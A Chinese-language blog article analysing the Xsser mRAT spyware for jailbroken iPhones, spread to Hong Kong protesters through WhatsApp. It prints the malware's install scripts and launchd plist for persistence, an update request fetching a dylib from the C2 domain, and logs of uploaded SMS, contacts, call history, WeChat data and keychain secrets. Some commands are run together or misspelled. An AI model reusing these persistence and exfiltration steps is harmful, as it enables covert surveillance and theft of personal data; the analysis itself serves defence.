国产“骄傲”:最先进的国产IOS木马Xsser现身分析
近来,香港的消息可以说是比较火的,也从来都是哪里火黑客同志们往哪里涌,前赴后继。这一点看我们的Anonymous(匿名者)同志们就知道了。前几天,Lacoon移动安全公司的研究人员报告了一个感染iOS越狱手机的间谍程序Xsser mRAT,传闻中标榜此木马为“国产最先进”。
立场这么坚定?下面我们来看看这个马是什么来头。
Xsser与此前发现的Android间谍程序共享了相同的指令控制服务器域名。之前发现的Android间谍程序伪装成协调占中示威者的应用,通过Whatsapp传播。Xsser mRAT是至今发现的第一个也是最先进的中国产(传闻,不保证真实性) iOS木马。
感染条件
但是感染Xsser是有前提条件的,首先。。。(这个不用我说了吧)
其次,你得越狱,并且安装了Cydia(貌似没有几个越狱之后不装这个的吧)
感染方式
感染的源头来自于一封匿名的WhatApp消息:
"Check out this Android app designed by Code4HK, group of activist coders, for the coordination of Occupy Central!"(“为了支持这次活动,大家请快去找这个由Code4HK(活动者当中的程序员们)设计的安卓app!”)
但是只要点了这个链接,你的爪机便被这款木马控制了。
点击这个链接之后,首先安卓爪机便会出现一个安装请求,而我们的IOS用户则会被要求添加一个Cydia源,然后相关的包就会被很无情的安装了。包本身是一个deb安装包,并且为了能够安装之后顺利执行,程序还安装了一IOS‘launchd’服务来保证程序可以顺利安装即运行。
感染行为
听起来很DIAO的样子,接下来,小编就带大家揭开其神秘面纱,看看这款传闻中“MADE IN CHINA”的木马背后的小故事。
首先,我们来看一下这款马感染之后会做什么
电话本
短信
通话记录
基于CellID信息的位置记录
照片
系统信息
获取微信/QQ聊天记录
Apple的账户密码信息和GSM信息
看到上面的信息有没有菊花一紧的赶脚?
不仅如此,Lacoon经过对app的监测,发现所有的连接都是指向一个VPS服务器的,费了好大功夫,总算找到了他们的CnC服务器
感染过程分析
Lacoon公司做了一个流程图,我们可以大体看下
1、首先,添加Cydia源添加之后,会安装一个deb包,包中包含以下文件:
/bin/*****.0day_t/bin/*****.0day_t.sh /bin/com.*****.0day.iphone.plist
2、然后,包安装完成之后会执行以下脚本命令:
#!/bin/bash chmod -R 0755/bin/xsser.0day_t chmod -R 0755/bin/com.xsser.0day.iphone.plist chmod -R 0755/bin/xsser.0day_t.sh /bin/xsser.0day_t.ti
3、这个脚本结束之后会运行另一个脚本文件:
#!/bin/sh cp /bin/xsser.0day_t/bin/xsser.0day cp /bin/com.xsser.0day.iphone.plist /Library/LaunchDaemons/com.xsser.0day.iphone.plist chmod -R 0755/bin/xsser.0day chmod -R 0755/Library/LaunchDaemons/com.xsser.0day.iphone.plist chown root /Library/LaunchDaemons/com.xsser.0day.iphone.plist launchctl load /Library/LaunchDaemons/com.xsser.0day.iphone.plaits
脚本安装了一个本地服务,同时进行了加载。服务信息如下:
<?xml version=“1.0” encoding=“UTF-8″?><!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”><plistversion=“1.0”><dict><key>KeepAlive</key><true/><key>Label</key><string>com.xsser.0day.iphone</string><key>Program</key><string>/bin/xsser.0day</string><key>RunAtLoad</key><true/></dict></plist>
4、最后当系统运行的时候还会自动监测程序是否是最新版本,如果不是则进行自动更新。
这里Lacoon公司还给出了一个监测到的更新的HTTP请求:
GET /CheckLibrary.aspx HTTP/1.1
Host:
Connection: keep-alive
Accept-Encoding: gzip, deflate
User-Agent: xsser.0day (unknown version) CFNetwork/672.1.15 Darwin/14.0.0
Accept-Language: en-us
Accept: */*
HTTP/1.1 200 OK
Date: Mon, 29 Sep 2014 09:27:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8Content-Length: 79
http://www.xsser.com/upload/Lib/iLib.4.0.0.dylib|iLib.4.0.0.dylib|4.0.0|1033720
下面是app的GET请求:
感染行为分析
感染之后,app会进行以下行为:
1、上传本地文件
===>GetGps:Now
===>GetKeyChain:Now
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb-shm
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb-wal
===>UploadFile:/var/mobile/Library/SMS/sms.db
===>UploadFile:/var/mobile/Library/SMS/sms.db-shm
===>UploadFile:/var/mobile/Library/SMS/sms.db-wal
===>UploadFile:/var/wireless/Library/CallHistory/call_history.db
===>GetWeiXin:Now
===>UploadFile:/private/var/mobile/Media/DCIM/100APPLE/IMG_[…].JPG
下面是请求的部分代码文件截图:
2、获取GPS信息
获取方式是采用CoreTelephony的getCellInfo函数达成的,下面是部分代码截图:
3、获取微信/QQ消息
通过TargetUploadFile命名找到DB/MM.sqlite文件并上传到服务器上,相关代码如下:
4、获取密钥
具体密钥类型为:
SecClassGenericPassword
SecClassInternetPassword
SecClassIdentity
SecClassCertificate
SecClassKey
然后将密钥信息(密码、认证标志等)打包成一个xml文件并使用同样的方式上传。
范本xml如下图所示:
5、暂未查明监测到的行为
发送信息
拨打电话
执行命令
上传文件类型
当然,没有监测到并不代表不会执行相关指令,既然app已经强大到如此的程度,这些一般标配行为肯定是存在的,只是等待相关指令等待触发罢了。